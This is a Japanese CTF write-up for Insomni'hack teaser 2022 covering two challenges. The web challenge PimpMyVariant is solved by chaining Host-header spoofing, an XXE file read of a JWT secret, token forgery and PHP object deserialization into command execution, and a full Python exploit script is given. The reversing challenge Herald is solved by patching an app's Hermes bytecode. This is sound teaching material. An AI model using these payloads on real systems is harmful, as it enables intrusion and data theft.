Insomni'hack teaser 2022 Writeup

Insomni'hack teaser 2022(2022年1月29日21:00~2022年1月30日21:00)にチームKUDoSとして参加しました。順位は全体で58位でした。

PimpMyVariant (Web, 76pts)

サーバー側のソースコード等は提供されておらず問題文に記載のURLのみです。

記載のURLのページにアクセスしてみますが、特にブラウザ画面で操作できる機能があるわけではないようです。

/robots.txt にアクセスすると、下記のようにサーバー側のエンドポイントが記載されていることが分かります。 試しに/flag.txtにアクセスしてみましたがflagは入手できませんでした。 他のエンドポイントを調べていきます。

/readme
/new
/log
/flag.txt
/todo.txt

/readmeにアクセスすると次のようなメッセージが含まれたレスポンスが返ってきます。

Hostname not allowed

リクエストでhostnameに関連する何かを変更すれば突破できそうです。 リクエストHTTPヘッダに Host: 127.0.0.1 を設定することで、/readmeは以下のようなレスポンスになりました。

#DEBUG- JWT secret key can now be found in the /www/jwt.secret.txt file

同様の方法で/logにアクセスすると、以下のレスポンスが返ってきます。 データをPOSTできる/apiというエンドポイントがあるようです。

<html><head>
        <link rel="stylesheet" href="./dark-theme.css">
        <title>PimpMyVariant</title>
</head><body>
        <h1>New variant</h1>


<form method="post" enctype="application/x-www-form-urlencoded" id="variant_form">
        Guess the next variant name : <input type="text" name="variant_name" id="variant_name" placeholder="inso-micron ?" /><br />        <input type="submit" name="Bet on this" />
</form>
<script type="text/javascript">
document.getElementById('variant_form').onsubmit = function(){
        var variant_name=document.getElementById('variant_name').value;
        postData('/api', "<?xml version='1.0' encoding='utf-8'?><root><name>"+variant_name+"</name></root>")
                .then(data => {
                        window.location.href='/';
                });
        return false;
}

async function postData(url = '', data = {}) {
        return await fetch(url, {
                method: 'POST',
                cache: 'no-cache',
                headers: {
                        'Content-Type': 'text/xml'
                },
                redirect: 'manual',
                referrerPolicy: 'no-referrer',
                body: data
        });
}
</script>

</body></html>

variant_nametestにしてリクエストを送信すると、次のようなSet-Cookieヘッダが付加されたレスポンスが返ってきます。

Set-Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ2YXJpYW50cyI6WyJBbHBoYSIsIkJldGEiLCJHYW1tYSIsIkRlbHRhIiwiT21pY3JvbiIsIkxhbWJkYSIsIkVwc2lsb24iLCJaZXRhIiwiRXRhIiwiVGhldGEiLCJJb3RhIiwiNTRiMTYzNzgzYzQ2ODgxZjFmZTdlZTA1ZjkwMzM0YWEiXSwic2V0dGluZ3MiOiJhOjE6e2k6MDtPOjQ6XCJVc2VyXCI6Mzp7czo0OlwibmFtZVwiO3M6NDpcIkFub25cIjtzOjc6XCJpc0FkbWluXCI7YjowO3M6MjpcImlkXCI7czo0MDpcIjE4NWE1ZmUzOGM1MDJiMTEzMmNiYThlNTFmM2M3ZDhkYWY4ZGMwYmNcIjt9fSIsImV4cCI6MTY0MzU2MDUzMn0.k8Mzbh0YG9zoRIjTxxUdtbZnW-7n-x_A0Q1SNQY-CaA

jwt.ioで見てみると次のような内容のペイロードが含まれています。variantsを見てみると、リクエストで指定したvariant_nameが追加された配列になっています。

{
  "variants": [
    "Alpha",
    "Beta",
    "Gamma",
    "Delta",
    "Omicron",
    "Lambda",
    "Epsilon",
    "Zeta",
    "Eta",
    "Theta",
    "Iota",
    "test"
  ],
  "settings": "a:1:{i:0;O:4:\"User\":3:{s:4:\"name\";s:4:\"Anon\";s:7:\"isAdmin\";b:0;s:2:\"id\";s:40:\"2be09793f08e65d12a5fe04fca71324c84c65211\";}}",
  "exp": 1643560837
}

リクエストでXMLを送るようになっているので、XXEのペイロードを送ってみます。 読み出すファイルは最初の/readmeのメッセージに含まれていた/www/jwt.secret.txtです。

<?xml version="1.0" encoding="utf-8"?><!DOCTYPE foo [<!ENTITY example SYSTEM "/www/jwt.secret.txt"> ]><root><name>&example;</name></root>

variants/www/jwt.secret.txtの内容が追加されていることが分かります。

{
  "variants": [
    "Alpha",
    "Beta",
    "Gamma",
    "Delta",
    "Omicron",
    "Lambda",
    "Epsilon",
    "Zeta",
    "Eta",
    "Theta",
    "Iota",
    "54b163783c46881f1fe7ee05f90334aa"
  ],
  "settings": "a:1:{i:0;O:4:\"User\":3:{s:4:\"name\";s:4:\"Anon\";s:7:\"isAdmin\";b:0;s:2:\"id\";s:40:\"185a5fe38c502b1132cba8e51f3c7d8daf8dc0bc\";}}",
  "exp": 1643560532
}

読み出したファイルのファイル名から推測するに、54b163783c46881f1fe7ee05f90334aa はjwtのsecretの文字列だと思われます。

また、上記のsettingsを見てみるとPHPのserialize関数で出力された文字列のように見えます。 この中にisAdminという気になるプロパティがあります。

実は最初の段階で普通に/logにアクセスすると、以下のようなレスポンスが返ってきており、何かしらの方法でadminかどうかを判定していることが示唆されています。

Access restricted to admin only

よって、isAdminプロパティをtrueにしたjwtトークンを送信することでadminとして判定されるようになると考えられます。

jwtトークンを編集し、XXEで得られたsecretで署名して送信してみると/logは次のようなレスポンスとなりました。

<html><head>
        <link rel="stylesheet" href="./dark-theme.css">
        <title>PimpMyVariant</title>
</head><body>
        <h1>Logs</h1>

<textarea style="width:100%; height:100%; border:0px;" disabled="disabled">
[2021-12-25 02:12:01] Fatal error: Uncaught Error: Bad system command call from UpdateLogViewer::read() from global scope in /www/log.php:36
Stack trace:
#0 {main}
  thrown in /www/log.php on line 37
#0 {UpdateLogViewer::read}
  thrown in /www/UpdateLogViewer.inc on line 26

</textarea>
</body></html>

UpdateLogViewer.incというファイル内で発生したエラーのログが表示されます。

このファイルは/UpdateLogViewer.incにアクセスすることで入手できました。内容は次の通りです。

<?php

class UpdateLogViewer
{
    public string $packgeName;
    public string $logCmdReader;
    private static ?UpdateLogViewer $singleton = null;
    
    private function __construct(string $packgeName)
    {
        $this->packgeName = $packgeName;
        $this->logCmdReader = 'cat';
    }
    
    public static function instance() : UpdateLogViewer
    {
        if( !isset(self::$singleton) || self::$singleton === null ){
            $c = __CLASS__;
            self::$singleton = new $c("$c");
        }
        return self::$singleton;
    }
    
    public static function read():string
    {
        return system(self::logFile());
    }
    
    public static function logFile():string
    {
        return self::instance()->logCmdReader.' /var/log/UpdateLogViewer_'.self::instance()->packgeName.'.log'; // system関数によって実行されるコマンド
    }
    
    public function __wakeup()// serialize
    {
        self::$singleton = $this; 
    }
};

ログの内容からすると、/logにアクセスすることで、このUpdateLogViewerのreadが実行されているものと思われます。 さらにread関数内では$logCmdReaderから作成された文字列を引数としてsystem関数を実行するようになっており、これを利用することでRCEができそうです。

また、UpdateLogViewerには、__wakeupが定義されています。この関数は、deserializeの際に呼ばれる関数の一つとなっており、処理内容を見るとクラスのstaticプロパティであるsingletonに自身のオブジェクトを設定しています。

以上のことから、$logCmdReaderプロパティに実行したいコマンドを設定したUpdateLogViewerを含めた上で、deserialize処理を走らせ、/logにアクセスすることでRCEになるようです。 このdeserializeの処理は、/logにリクエストを送る際の、jwtのペイロード中のsettingsに設定された文字列に対して走ることが分かっているので、この中に含めれば良さそうです。

最終的に以下のスクリプト/www/flag.txtに含まれているflagを表示できました。

import requests
import jwt

BASE_URL = 'http://pimpmyvariant.insomnihack.ch'

name = 'hogehoge'
# body = f'<?xml version="1.0" encoding="utf-8"?><root><name>test</name></root>'
body = f'<?xml version="1.0" encoding="utf-8"?><!DOCTYPE foo [<!ENTITY example SYSTEM "/www/jwt.secret.txt"> ]><root><name>&example;</name></root>'
headers = {
  'Host': '127.0.0.1',
  'Content-Type': 'application/xml'
}
r = requests.post(BASE_URL + '/api', headers=headers, data=body, allow_redirects=False)
print(r.headers)
# print(r.cookies['jwt'])

data = r.cookies['jwt']
result = jwt.decode(data, '54b163783c46881f1fe7ee05f90334aa', algorithms=['HS256'])
print(result)

cmd = 'cat /www/flag.txt;'
# result['settings'] = 'a:2:{i:0;O:4:"User":3:{s:4:"name";s:4:"Anon";s:7:"isAdmin";b:1;s:2:"id";s:40:"bfb70eefb03ead823cb059185f13226ee9d5d690";}'
result['settings'] = 'a:2:{i:0;O:4:"User":3:{s:4:"name";s:4:"Anon";s:7:"isAdmin";b:1;s:2:"id";s:40:"bfb70eefb03ead823cb059185f13226ee9d5d690";}i:1;O:15:"UpdateLogViewer":2:{s:10:"packgeName";s:0:"";s:12:"logCmdReader";s:'+str(len(cmd))+':"'+cmd+'";}}'
data2 = jwt.encode(result, '54b163783c46881f1fe7ee05f90334aa', algorithm='HS256')
print(data2)

cookies = {
  'jwt': data2.decode()
}
r = requests.get(BASE_URL + '/log', headers=headers, cookies=cookies, allow_redirects=False)
print(r.text)

flag: INS{P!mpmYV4rianThat's1flag}

Herald (Reversing, 93pts)

apkファイルが与えられるので、エミュレータにインストールして起動してみます。 ユーザー名とパスワードが入力できるログイン画面が表示されます。

f:id:nntomoya:20220131030834p:plain
アプリの起動画面
適当にユーザー名とパスワードを入力しますが、エラーになってしまいます。
f:id:nntomoya:20220131030922p:plain
アプリのエラー画面

ひとまず、与えられたapkファイルをapktoolを使って展開します。

$ apktool d Herald-e3081153dbcbc3f2bcd6aa0453e8ec6f7055deaf5762aee0a794e28e58b8bb12.apk

展開されたファイルの中身を見てみると、React Nativeに関する文字列が含まれており、React Nativeで作成されたアプリであることが分かります。 assets以下に含まれているindex.android.bundleというファイルが気になります。 fileコマンドで調べてみると次のような出力が得られました。

$ file index.android.bundle
index.android.bundle: Hermes JavaScript bytecode, version 84

調べてみると、HermesというReact Nativeで使用されているJavaScriptの実行エンジンがあるようです。 このファイルは、この実行エンジンで実行されるバイトコードが含まれるファイルのようです。

Java側(com.herald)にも特に目立った処理が書かれていなかったため、恐らく今回のアプリのメインの処理はこの中に書かれており、flagに関連する処理もあるものと思われます。

このファイルを逆アセンブルするツールがないかを探したところ、hbctoolというツールがあることが分かりました。 早速、次のコマンドで実行してみますがversionが対応していない旨のエラーになってしまいます。今回のファイルはfileコマンドでも出力されている通り、version 84なのですが、どうやら現時点ではversion 76までしか対応していないようです。

$ hbctool disasm index.android.bundle output

あるIssueについているコメントを見ると、84に対応したバージョンを作ってくれた人がいるようなのでこちらを利用すると無事に逆アセンブルができました。

また、Hermes公式からダウンロードできるcliツールを利用しても逆アセンブルすることができました。 以降の逆アセンブルはこちらの出力結果を見ることにします。

$ hermes -b --dump-bytecode index.android.bundle

アセンブル結果の中で、最初にアプリを触った際のログイン画面で表示されたメッセージを検索してみます。 次の部分がログイン処理に該当する部分と思われます。

Function<tryAuth>(3 params, 13 registers, 0 symbols):
    LoadThisNS        r2
    GetByIdShort      r0, r2, 1, "state"
    GetById           r0, r0, 2, "username"
    LoadConstString   r1, "admin"
    JStrictNotEqual   L1, r0, r1
    GetByIdShort      r0, r2, 1, "state"
    GetById           r3, r0, 3, "password"
    GetById           r4, r2, 4, "decodedText"
    NewArrayWithBuffer r0, 28, 28, 9398
    Call2             r0, r4, r2, r0
    JStrictEqual      L2, r3, r0
L1:
    GetByIdShort      r0, r2, 1, "state"
    GetById           r0, r0, 2, "username"
    JStrictEqual      L3, r0, r1
    GetEnvironment    r0, 1
    LoadFromEnvironment r0, r0, 6
    GetById           r3, r0, 5, "Alert"
    GetById           r0, r3, 6, "alert"
    LoadConstString   r1, "Wrong Username/Pa"...
    Call2             r0, r0, r3, r1
    GetById           r0, r2, 7, "setPrint"
    Call2             r0, r0, r2, r1
    Jmp               L4
L3:
    GetEnvironment    r0, 1
    LoadFromEnvironment r0, r0, 6
    GetById           r3, r0, 5, "Alert"
    GetById           r1, r3, 6, "alert"
    LoadConstString   r0, "You are not the a"...
    Call2             r0, r1, r3, r0
    GetById           r1, r2, 7, "setPrint"
    LoadConstString   r0, "Attack attempt de"...
    Call2             r0, r1, r2, r0
    Jmp               L4
L2:
    GetById           r1, r2, 8, "decodedFlag"
    NewArrayWithBuffer r0, 43, 43, 9512
    Call2             r0, r1, r2, r0
L4:
    GetEnvironment    r0, 1
    LoadFromEnvironment r0, r0, 6
    GetById           r1, r0, 9, "Keyboard"
    GetById           r0, r1, 10, "dismiss"
    Call1             r0, r0, r1
    LoadConstUndefined r0
    Ret               r0

アセンブリオペランドの詳細に関するドキュメントが見当たらなかったので、とりあえずHermes公式が提供しているPlaygroundで得られた結果と見比べながら雰囲気をつかみます。

最初はdecodedFlagの処理を見てflagを入手すると思い込み見ていたのですが、処理の中で参照しているデータの場所が分からず中々進みませんでした。

上記のログイン処理の逆アセンブリ部分に戻ってもう少し注意深く読んでみます。 まず、ユーザー名部分はadminにすることで次の段階に進みそうです。 次にパスワードの判定ですが、12行目のこの部分で一致を判定していることが分かりました。

JStrictEqual      L2, r3, r0

よって、これを次のように変更することでパスワード判定部分を突破できそうです。

JStrictNotEqual      L2, r3, r0

ここで下記の記事を読むと、先ほどのhbctoolが使えそうです。

suam.wtf

hbctoolには逆アセンブルした結果を改変した後、アセンブルして元のファイルに戻すことができる機能があるので、これを利用します。 アセンブリを変更した後、次のコマンドでindex.android.bundleに戻します。

$ hbctool asm output index.android.bundle

得られたindex.android.bundleを元のapkに含まれているものと交換し、apktoolでapkファイルに戻します。 さらに、エミュレータにインストールができるようapksingerで署名します。

$ apktool b Herald-e3081153dbcbc3f2bcd6aa0453e8ec6f7055deaf5762aee0a794e28e58b8bb12
$ keytool -genkey -v -keystore app.keystore -alias signkey -keyalg RSA -keysize 2048 -validity 20000

$ cd Herald-e3081153dbcbc3f2bcd6aa0453e8ec6f7055deaf5762aee0a794e28e58b8bb12/dist
$ apksigner sign --ks ../../app.keystore Herald-e3081153dbcbc3f2bcd6aa0453e8ec6f7055deaf5762aee0a794e28e58b8bb12.apk

署名されたapkファイルをインストールして、ユーザー名をadmin、パスワードを適当に入力することでflagが表示されました。

f:id:nntomoya:20220131033238p:plain
flagが表示された画面

flag: INS{Y0u_Kn0W_aB0uT_Th3_Her4ld_0F_the_G0ds?}

decodedFlagのような他の部分の処理を詳細に追う必要はなかったようです。